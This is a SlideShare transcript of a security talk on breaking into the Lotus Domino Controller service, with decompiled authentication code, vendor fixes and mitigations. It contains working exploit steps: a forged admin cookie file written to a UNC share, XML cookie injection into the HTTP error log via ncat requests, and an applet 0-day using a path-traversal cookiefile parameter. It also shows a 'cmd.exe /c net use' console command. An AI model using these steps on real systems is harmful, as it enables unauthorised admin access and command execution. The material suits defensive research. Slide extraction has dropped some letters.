Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Invest	  in	  security	  to	  secure	  investments	   Lotus	  Domino:	   Penetra0on	   Through	  the	   Controller	   	   ...
#whoami	    •  Pen-­‐tester	  at	  ERPscan	  Company	                                                  Job	  ,	           ...
ERPScan	   •  Innovave	  company	  engaged	  in	  ERP	  security	  R&D	   •  Part	  of	  “Digital	  Security”,	  a	  Russi...
What	  do	  pen-­‐testers	  do?	   •     Scanning	   •     Fingerprinng	   •     Banner	  grabbing	   •     Play	  with	  ...
Find	  vulns.	   •  Stac	           –  Source	  code	  review	                    •  regexp	                    •  formal	...
Pen-­‐tester	  env.	   Tasks:	               •  pwn	  target	  8)	               •  show	  most	  dang.	  vulns.	         ...
Find	  vulns.	   •  Stac	           –  Source	  code	  review	                    •  regexp	                    •  formal	...
Bug	  hun0ng?	   	  	  erpscan.com	     ERPScan	  —	  invest	  in	  security	  to	  secure	  investments	     8	  
Pen-­‐tester/Sec.	  researcher	           	           –  New	  aQacks	  and	  methods	                                    ...
Exploit’s	  life	           	           	  Finding	  bug	  Creang	  PoC	                       Creang	  exploit	          ...
In	  real	           	           	                                                                                        ...
Target…	   	  	  erpscan.com	     ERPScan	  —	  invest	  in	  security	  to	  secure	  investments	     12	  
Let’s	  see	  some	  real	  stuff	   First	  pen-­‐test	  	   	                      	                 	  -­‐	  	         	...
Lotus	  Domino	  8.5.2FP2	                                                                          Useless	           •  ...
Lotus	  Domino	  8.5.2FP2	                                                                             •  Private	        ...
No	  fun…	   •  No	  fun…	   •  Lotus	  server	  sll	  not	  pwned	  (just	  in	  theory)	   •  If	  we	  could	  	  pwn	 ...
What	  do	  pen-­‐testers	  do?	   •     Scanning	   •     Fingerprinng	   •     Banner	  grabbing	   •     Play	  with	  ...
Lotus	  Domino	  8.5.2FP2	                                                                   •  Time…	           •    CVE-...
ZDI-­‐11-­‐110	   	  	  erpscan.com	     ERPScan	  —	  invest	  in	  security	  to	  secure	  investments	     19	  
What	  is	  the	  protocol?	   •  Googling	  failed	   •  But…	  Patrik’s	  NSE	  scripts	  can	  help:	                  ...
Domino	  Controller	                    //	  s1	  -­‐	  input	  from	  2050/tcp	                    if(s1.equals("#EXIT"))...
Domino	  Controller	                        	  	  do	  	  	  	  	  	  	  	  	  	  	  	                        	  	  	  	  ...
Domino	  Controller	                                                                                                      ...
verifyAppletUserCookie()	   	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  	                                    ...
verifyAppletUserCookie()	                    	  do	  {	                    	  	  	  	  	  	  	  	  	  	  	  	  	  if((j	  ...
Exploit	  for	  ZDI-­‐11-­‐110	   –  echo	  ^	  <user	  name=“admin"	  cookie=“dsecrg"	  address=“10.10.0.1"^>	  >	  n: do...
Mi0ga0ons…	   •  	  Privileges	  for	  system	  console	           –  If	  ‘admin’	  has	  enough	  privileges,	  he	  can...
Pen-­‐tester	  vs.	  mi0ga0ons…	   •  If	  there	  is	  a	  Microso~	  AD	  network	   •  If	  	  Kerberos	  is	  not	  us...
Lotus	  Domino	  8.5.3/8.5.2FP3	                                                   	  Fix	  №1	                    evilhos...
Lotus	  Domino	  8.5.3/8.5.2FP3	                                           	  Fix	  №2	                       We	  need	  ...
Let’s	  see	  some	  real	  stuff	   First	  pen-­‐test	  	   	                      	                 	  -­‐	  	         	...
And	  again…	  verifyAppletUserCookie()	                    	  do	  {	                    	  	  	  	  	  	  	  	  	  	  	 ...
XML?	   	   	   cookie.xml:	   <?xml	  version="1.0"	  encoding="UTF-­‐8"?>	   <user	  name=“admin"	  cookie=“dsecrg"	  ad...
XML?	   	   	   cookie.xml:	   <?xml	  version="1.0"	  encoding="UTF-­‐8"?>	   <user	  name=“admin"	  cookie=“dsecrg"	  ad...
XML?	   	   	   cookie.xml:	   <?xml	  version="1.0"	  encoding="UTF-­‐8"?>	   <user	  name=“admin"	  cookie=“dsecrg"	  ad...
XML	  cookie	  Injec0on	   	   	   	   Nmap	  –sV	  -­‐PN	  -­‐T5	  -­‐p	  …	  0	  192.168.0.13	   .	  .	  .	   Nmap	  sca...
XML	  cookie	  Injec0on	   	   	   ncat	  targethost	  49152	   GET	  /<user	  name="admin"cookie="pass"address="111">	  H...
XML	  cookie	  Injec0on	   ncat	  targethost	  49152	   GET	  /<user	  HTTP/1.0	   	   ncat	  targethost	  49152	   GET	  ...
What	  about	  client’s	  cert?	                                         dconsole.jar	   	  	  erpscan.com	     ERPScan	  ...
0-­‐day	  exploit	  (tested	  on	  8.5.3)	   <applet	  name	  =	  "DominoConsole"	   code	  =	  "lotus.domino.console.Domi...
DEMO	   	  	  	  erpscan.com	     ERPScan	  —	  invest	  in	  security	  to	  secure	  investments	     41	  
Internet/CyberWar/APT/Booo!	   	  	  erpscan.com	     ERPScan	  —	  invest	  in	  security	  to	  secure	  investments	   ...
Conclusions	   •  Pen-­‐tester	  will	  get	  more	  profit	  if	  he	  tries	  to	        research	  something	  	  //	  t...
Thank	  you!	                                                       	                                                     ...
Upcoming SlideShare
Loading in …5
×

Lotus Domino: Penetration Through the Controller

3,203 views

Published on

Published in: Technology, Business
  • Be the first to comment

Lotus Domino: Penetration Through the Controller

  1. 1. Invest  in  security  to  secure  investments   Lotus  Domino:   Penetra0on   Through  the   Controller     Alexey  Sintsov  
  2. 2. #whoami   •  Pen-­‐tester  at  ERPscan  Company   Job  ,   money  and   fun   •  Researcher   Fun   •  Writer  at  ][akep  magazine   Self-­‐ importance   •  DCG#7812  POC   and  fun     Community   and  fun  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   2  
  3. 3. ERPScan   •  Innovave  company  engaged  in  ERP  security  R&D   •  Part  of  “Digital  Security”,  a  Russian  group  of   companies  founded  in  2002   •  Flagship  product  –  ERPScan  Security  Scanner  for   SAP   •  Tools:  pen-­‐tesng  tool,  sapsploit,  web.xml  scanner   •  Consulng  Services:    ERP/SRM/CRM/SCADA/e.t.c   Pen-­‐tests,  SAP  assessment,  SAP  code  review  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   3  
  4. 4. What  do  pen-­‐testers  do?   •  Scanning   •  Fingerprinng   •  Banner  grabbing   •  Play  with  passwords   •  Find  vulns.   •  Exploit  vulns.   •  Escalate  privs.   •  Dig  in   •  Find  ways  to  make  aQacks   •  And  e.t.c.  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   4  
  5. 5. Find  vulns.   •  Stac   –  Source  code  review   •  regexp   •  formal  methods   •  hand  tesng   –  Reverse  Engineering   •  formal  methods   •  hands…   •  Dynamic   –  Fuzzing  (bin/web)    +    Typical  bugs  for  class      +    Reverse  Engineering   –  Hand  tesng   •  Architecture  Analysis  (Logic  flaws)   •  Use  vuln.  Database  (CVE/exploit-­‐db/etc)  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   5  
  6. 6. Pen-­‐tester  env.   Tasks:   •  pwn  target  8)   •  show  most  dang.  vulns.   è  show  real  aQacks  and  what  an  aQacker  can  do   Time:    Not  much  )   Targets:    Large  number  of  targets,  different  types    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   6  
  7. 7. Find  vulns.   •  Stac   –  Source  code  review   •  regexp   •  formal  methods   •  BlackBox   •  hand  tesng   –  Reverse  Engineering   •  formal  methods   •  Not  much  me   •  hands…   •  Dynamic   –  Fuzzing  (bin/web)    +    Typical  bugs  for  class      +    Reverse  Engineering   –  Hand  tesng   •  Architecture  Analysis  (Logic  flaws)   •  Use  vuln.  Database  (CVE/exploit-­‐db/etc)  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   7  
  8. 8. Bug  hun0ng?      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   8  
  9. 9. Pen-­‐tester/Sec.  researcher     –  New  aQacks  and  methods   Provider   –  0-­‐day  bug  hunng   –  Something  new…   –   Exploit  development   –   Exploitaon   Consumer    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   9  
  10. 10. Exploit’s  life      Finding  bug  Creang  PoC   Creang  exploit   Selling   Exploing   Creang  report  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   10  
  11. 11. In  real       Exploing?  No!   Creang  report  Finding  bug  Creang  PoC   Creang  exploit   Selling   Exploing?  Yep!   Crash…   Creang  report?  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   11  
  12. 12. Target…      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   12  
  13. 13. Let’s  see  some  real  stuff   First  pen-­‐test          -­‐      Lotus  Domino  8.5.2FP2   Second  pen-­‐test    -­‐  Lotus  Domino  8.5.3    (the  latest)     Pen-­‐tester’s  acons   How  to:   Nmap  –sV  -­‐PN  -­‐T5  -­‐p  …  0  192.168.0.13   .  .  .   •  Scan  and  grab  banners   Nmap  scan  report  for  targethost  (192.168.0.13)   •  Detect  version   PORT          STATE  SERVICE                      VERSION   110/tcp      open    pop3                    Lotus  Domino  POP3  server  8.5.2   1352/tcp    open    lotusnotes                Lotus  Domino  server  (CN=SERV;Org=Company)   1533/tcp    open    hNp                    Lotus  Domino  hNpd   2050/tcp  open    ssl/dominoconsole  Lotus  Domino  Console  (domain:  domain;  d   escrip?on:  “COMPANY")   49152/tcp    open    hNp                    MicrosoS  HTTP  API  2.0   MAC  Address:  00:1A:1B:8A:1F:1E  (HewleN  Packard)   Service  Info:  OS:  Windows/Longhorn/64  6.1    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   13  
  14. 14. Lotus  Domino  8.5.2FP2   Useless   •  CVE-­‐2011-­‐0914   •  CVE-­‐2011-­‐0915   Useless,   Pen-­‐tester’s  acons   •  CVE-­‐2011-­‐0916   (client-­‐ side)   •  CVE-­‐2011-­‐0917   Useless,   •  Search  for  an  exploit   •  CVE-­‐2011-­‐0919   Fixed  in   8.5.2…   •  CVE-­‐2011-­‐0920  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   14  
  15. 15. Lotus  Domino  8.5.2FP2   •  Private   •  CVE-­‐2011-­‐0914   •  DoS  risk   •  CVE-­‐2011-­‐0915   •  Private   Pen-­‐tester’s  acons   •  CVE-­‐2011-­‐0916   •  DoS  risk   •  CVE-­‐2011-­‐0917   •  None   •  …  more  search   •  CVE-­‐2011-­‐0919   •  DoS  risk   •  CVE-­‐2011-­‐0920   •  PoC     •  DoS  risk   Lotus…  blah-­‐blah-­‐blah,   Auth.  issue  (CWE-­‐287)   •  None   has  many  vuln.  issues.   •  DoS  risk   Not  public  or  stable,   exploit  are  available  …  Buffer  Errors  (CWE-­‐119)   blah-­‐blah-­‐blah,  please   •  Private   update  to  8.5.2FP3  or   8.5.3  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   15  
  16. 16. No  fun…   •  No  fun…   •  Lotus  server  sll  not  pwned  (just  in  theory)   •  If  we  could    pwn  it,  then  maybe  we  would  get  MORE   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐  BUT  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐   •  We  have  no  me  for  research  and  exploit  dev.  for  those   bugs  (CWE-­‐119)   •  It  is  risky   •  It  is  pen-­‐test  and  we  have  other  targets…   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐  SO  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐   Pen-­‐tester  is  not  a  researcher?  Forget  about  it?    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   16  
  17. 17. What  do  pen-­‐testers  do?   •  Scanning   •  Fingerprinng   •  Banner  grabbing   •  Play  with  passwords   We  can’t  do     that  right  now   •  Find  vulns.   Analysis:  me  for  research     and  exploit  dev.,  resources,     •  Exploit  vulns.   risks,  necessity       •  Escalate  privs.   Research   •  Dig  in   Exploit  dev.   •  Find  ways  to  make  aQacks   •  And  e.t.c.  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   17  
  18. 18. Lotus  Domino  8.5.2FP2   •  Time…   •  CVE-­‐2011-­‐0914   •  DoS  risk   •  CVE-­‐2011-­‐0915   •  Time   Pen-­‐tester’s  acons   •  CVE-­‐2011-­‐0916   •  DoS  risk   •  CVE-­‐2011-­‐0917   •  Let’s  do  some   •  Time   •  Fast  analyses…   research…   •  CVE-­‐2011-­‐0919   •  DoS  risk   •  CVE-­‐2011-­‐0920   •  Time     •  DoS  risk   •  Time   •  DoS  risk   •  ???  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   18  
  19. 19. ZDI-­‐11-­‐110      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   19  
  20. 20. What  is  the  protocol?   •  Googling  failed   •  But…  Patrik’s  NSE  scripts  can  help:   socket:reconnect_ssl()   …   socket:send("#APIn")     socket:send(  ("#UI  %s,%sn"):format(user,pass)  )     socket:receive_lines(1)     socket:send("#EXITn")   …   è   SSL    #UI  login,passn   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐     •  But  what  about  COOKIE?     Service  code  is  in  dconsole.jar,  so  we  can  decompile  it  and  get  protocol   descripons…      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   20  
  21. 21. Domino  Controller   //  s1  -­‐  input  from  2050/tcp   if(s1.equals("#EXIT"))                                              return  2;                  .  .  .                        if(s1.equals("#APPLET"))                          return  6;                  .  .  .                  if(s1.equals("#COOKIEFILE"))                  if(stringtokenizer.hasMoreTokens())            //  Fromat:  #COOKIEFILE  cookieFilename                          cookieFilename  =  stringtokenizer.nextToken().trim();                    return  7;                  .  .  .                  if(s1.equals("#UI"))                  if(stringtokenizer.hasMoreTokens())            //  Format:  #UI  usr,pwd                          usr  =  stringtokenizer.nextToken(",").trim();                  if(usr  ==  null)                          return  4;                  if(stringtokenizer.hasMoreTokens())            //pwd  -­‐  password  from  input                          pwd  =  stringtokenizer.nextToken().trim();                  return  0;  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   21  
  22. 22. Domino  Controller      do                                        {            //main  loop            int  i  =  ReadFromUser();                            .  .  .                            if(i  ==  6)  //if  #APPLET                          {                                  appletConnec0on  =  true;                                  connue;                          }                            .  .  .                    //  CUT  -­‐  search  usr  in  admindata.xml                          .  .  .                            if(userinfo  ==  null)                        {                                //  If  username    was  not  found                                    WriteToUser("NOT_REG_ADMIN");                                    connue;                        }    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   22  
  23. 23. Domino  Controller        .  .  .     if(!appletConnec0on)      flag  =  vrfyPwd.verifyUserPassword(pwd,  userinfo.userPWD())   else              flag  =  verifyAppletUserCookie(usr,  pwd);  //If  #APPLET   }                                           if(flag)          WriteToUser("VALID_USER");                                                  else          WriteToUser("WRONG_PASSWORD");   }  while(true);  //Main  loop  end                    if(flag)                    {                  //Auth  done…   .  .  .    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   23  
  24. 24. verifyAppletUserCookie()                                           UNC  path   here…         File  file  =  new  File(cookieFilename);      .  .  .        inputstreamreader  =  new  InputStreamReader(new                                                          FileInputStream(file),  "UTF8");                      .  .  .                    inputstreamreader.read(ac,  0,  i);                    .  .  .    String  s7  =  new  String(ac);      .  .  .      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   24  
  25. 25. verifyAppletUserCookie()    do  {                            if((j  =  s7.indexOf("<user  ",  j))  <=  0)                          break;                                int  k  =  s7.indexOf(">",  j);                                            if(k  ==  -­‐1)                                                    break;     String  s2  =  getStringToken(s7,  "user="",  """,  j,  k);                          .  .  .   String  s3  =  getStringToken(s7,  "cookie="",  """,  j,  k);                          .  .  .   b00m!   String  s4  =  getStringToken(s7,  "address="",  """,  j,  k);    .  .  .    if(usr.equalsIgnoreCase(s2)  &&  pwd.equalsIgnoreCase(s3)  &&          appletUserAddress.equalsIgnoreCase(s4))    {            flag  =  true;            break;    }      .  .  .            }  while(true);    .  .  .  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   25  
  26. 26. Exploit  for  ZDI-­‐11-­‐110   –  echo  ^  <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1"^>  >  n: domino2zdi0day_.txt    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   26  
  27. 27. Mi0ga0ons…   •   Privileges  for  system  console   –  If  ‘admin’  has  enough  privileges,  he  can  call  OS   commands  as  ‘$whoami’   •   Service  password  for  dangerous  funcons   –   If  service  password  is  not  set,  then  ‘admin’  can  call   dangerous  funcons  such  as  ‘LOAD  cmd.exe  /c  net   use  …’   One  doesnt  exclude  another!  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   27  
  28. 28. Pen-­‐tester  vs.  mi0ga0ons…   •  If  there  is  a  Microso~  AD  network   •  If    Kerberos  is  not  used   •  If  Lotus  Domino  runs  as  “win_domain/$LotusAcc”  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   28  
  29. 29. Lotus  Domino  8.5.3/8.5.2FP3    Fix  №1   evilhostexploitcookie.xml  -­‐-­‐>   .evilhostexploitcookie.xml  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   29  
  30. 30. Lotus  Domino  8.5.3/8.5.2FP3    Fix  №2   We  need  client’s  cert.  for   auth…  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   30  
  31. 31. Let’s  see  some  real  stuff   First  pen-­‐test          -­‐      Lotus  Domino  8.5.2FP2   Second  pen-­‐test    -­‐  Lotus  Domino  8.5.3    (the  latest)     Pen-­‐tester’s  acons   How  to:   Nmap  –sV  -­‐PN  -­‐T5  -­‐p  …  0  192.168.0.13   •  Scan  and  grab  banners   .  .  .   •  OR…  ersion   •  Green  line  in  report?   •  Detect  v Nmap  scan  report  for  targethost  (192.168.0.13)   PORT          STATE  SERVICE                      VERSION   110/tcp      open    pop3                    Lotus  Domino  POP3  server  8.5.3   1352/tcp    open    lotusnotes                Lotus  Domino  server  (CN=SERV;Org=Company)   1533/tcp    open    hNp                    Lotus  Domino  hNpd   2050/tcp  open    ssl/unknown     49152/tcp    open    hNp                    MicrosoS  HTTP  API  2.0   MAC  Address:  00:1A:1B:8A:1F:1E  (HewleN  Packard)   Service  Info:  OS:  Windows/Longhorn/64  6.1    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   31  
  32. 32. And  again…  verifyAppletUserCookie()    do  {                            if((j  =  s7.indexOf("<user  ",  j))  <=  0)                          break;     …                              int  k  =  s7.indexOf(">",  j);                                            if(k  ==  -­‐1)   s7.substring()                                                    break;     …   String  s2  =  getStringToken(s7,  "user="",  """,  j,  k);                          .  .  .   String  s3  =  getStringToken(s7,  "cookie="",  """,  j,  k);                          .  .  .   HandMade  XML   String  s4  =  getStringToken(s7,  "address="",  """,  j,  k);   “parser”…  on  Java…    .  .  .    if(usr.equalsIgnoreCase(s2)  &&  pwd.equalsIgnoreCase(s3)  &&          appletUserAddress.equalsIgnoreCase(s4))    {            flag  =  true;            break;    }      .  .  .            }  while(true);    .  .  .  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   32  
  33. 33. XML?       cookie.xml:   <?xml  version="1.0"  encoding="UTF-­‐8"?>   <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1">   Valid   cookie2.xml.trash:   There  is  a  good  <user  xml  file!   andname=“admin”willbefound   as  cookie=“dsecrg”  andaddress=“10.10.0.1”hooray!   >and  blah-­‐blah-­‐blah  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   33  
  34. 34. XML?       cookie.xml:   <?xml  version="1.0"  encoding="UTF-­‐8"?>   <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1">   Valid   cookie2.xml.trash:   There  is  a  good  <user  xml  file!   andname=“admin”willbefound   as  cookie=“dsecrg”  andaddress=“10.10.0.1”hooray!   >and  blah-­‐blah-­‐blah  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   34  
  35. 35. XML?       cookie.xml:   <?xml  version="1.0"  encoding="UTF-­‐8"?>   <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1">   Valid   cookie2.xml.trash:   There  is  a  good  <user  xml  file!   andname=“admin”willbefound   Valid   as  cookie=“dsecrg”  andaddress=“10.10.0.1”hooray!   >and  blah-­‐blah-­‐blah  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   35  
  36. 36. XML  cookie  Injec0on         Nmap  –sV  -­‐PN  -­‐T5  -­‐p  …  0  192.168.0.13   .  .  .   Nmap  scan  report  for  targethost  (192.168.0.13)   PORT          STATE  SERVICE                      VERSION   110/tcp      open    pop3                    Lotus  Domino  POP3  server  8.5.3   1352/tcp    open    lotusnotes                Lotus  Domino  server  (CN=SERV;Org=Company)   1533/tcp    open    hNp                    Lotus  Domino  hNpd   2050/tcp  open    ssl/unknown     49152/tcp    open    hPp                    MicrosoQ  HTTP  API  2.0   MAC  Address:  00:1A:1B:8A:1F:1E  (HewleN  Packard)   Service  Info:  OS:  Windows/Longhorn/64  6.1  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   36  
  37. 37. XML  cookie  Injec0on       ncat  targethost  49152   GET  /<user  name="admin"cookie="pass"address="111">  HTTP/1.0rnrn   c:windowssystem32logfileshzperrhzperr1.log:   #Software:  Microsoft  HTTP  API  2.0   #Version:  1.0   #Date:  2011-­‐08-­‐22  09:19:16   #Fields:  date  time  c-­‐ip  c-­‐port  s-­‐ip  s-­‐port  cs-­‐version  cs-­‐method  cs-­‐uri  sc-­‐status     s-­‐siteid  s-­‐reason  s-­‐queuename   2011-­‐08-­‐22  09:19:16  10.10.10.101  46130  10.10.9.9    47001  -­‐  -­‐  -­‐  400  -­‐  BadRequest  -­‐   2011-­‐08-­‐22  09:19:16  10.10.10.101  46234  10.10.9.9    47001  HTTP/1.0     GET  /<user%20name="admin"cookie="pass"address="111">  404  -­‐  NotFound  -­‐  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   37  
  38. 38. XML  cookie  Injec0on   ncat  targethost  49152   GET  /<user  HTTP/1.0     ncat  targethost  49152   GET  /name="admin"cookie="pass"address="111"  HTTP/1.0     c:windowssystem32logfileshzperrhzperr1.log:   #Software:  Microsoft  HTTP  API  2.0   #Version:  1.0   #Date:  2011-­‐08-­‐22  09:19:16   #Fields:  date  time  c-­‐ip  c-­‐port  s-­‐ip  s-­‐port  cs-­‐version  cs-­‐method  cs-­‐uri  sc-­‐status     s-­‐siteid  s-­‐reason  s-­‐queuename   2011-­‐08-­‐22  09:19:16  10.10.10.101  46130  10.10.9.9    47001  -­‐  -­‐  -­‐  400  -­‐  BadRequest  -­‐   2011-­‐08-­‐22  09:19:16  10.10.10.101  46234  10.10.9.9    47001  HTTP/1.0     GET  /<user  404  -­‐  NotFound  -­‐   2011-­‐08-­‐22  09:19:16  10.10.10.101  46234  10.10.9.9  GET  /name="admin"cookie="pass“   address="111">  404  -­‐  NotFound  -­‐  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   38  
  39. 39. What  about  client’s  cert?   dconsole.jar      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   39  
  40. 40. 0-­‐day  exploit  (tested  on  8.5.3)   <applet  name  =  "DominoConsole"   code  =  "lotus.domino.console.DominoConsoleApplet.class"   codebase  =  "hQp://127.0.0.1/domjava/"   archive  =  "dconsole.jar"   width  =  "100%"   height  =  "99%“>     <PARAM  NAME="debug"  VALUE="true">   <PARAM  NAME="port"  VALUE="2050">   <PARAM  NAME="useraddress"  VALUE="hQp://twiQer/asintsov">   <PARAM  NAME="username"  VALUE="admin">   <PARAM  NAME="cookiefile"  VALUE="......windowssystem32logfileshQperrhQperr1.log">   <PARAM  NAME="cookievalue"  VALUE="pass">   <PARAM  NAME="onLoad"  VALUE="onLoadConsole">   </applet>  erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   40  
  41. 41. DEMO        erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   41  
  42. 42. Internet/CyberWar/APT/Booo!      erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   42  
  43. 43. Conclusions   •  Pen-­‐tester  will  get  more  profit  if  he  tries  to   research  something    //  thx  Cap!   •  Good  pen-­‐tester  ∩    good  security  researcher           •  We  got  0-­‐day  8)     To  admins:   •  Set  filter  on  2050/tcp   •  Use  both  migaons   –  Less  privileges  for  console  user   –  Set  service  password  on  console    erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   43  
  44. 44. Thank  you!               a.sintsov@erpscan.com       @asintsov              erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   44  

×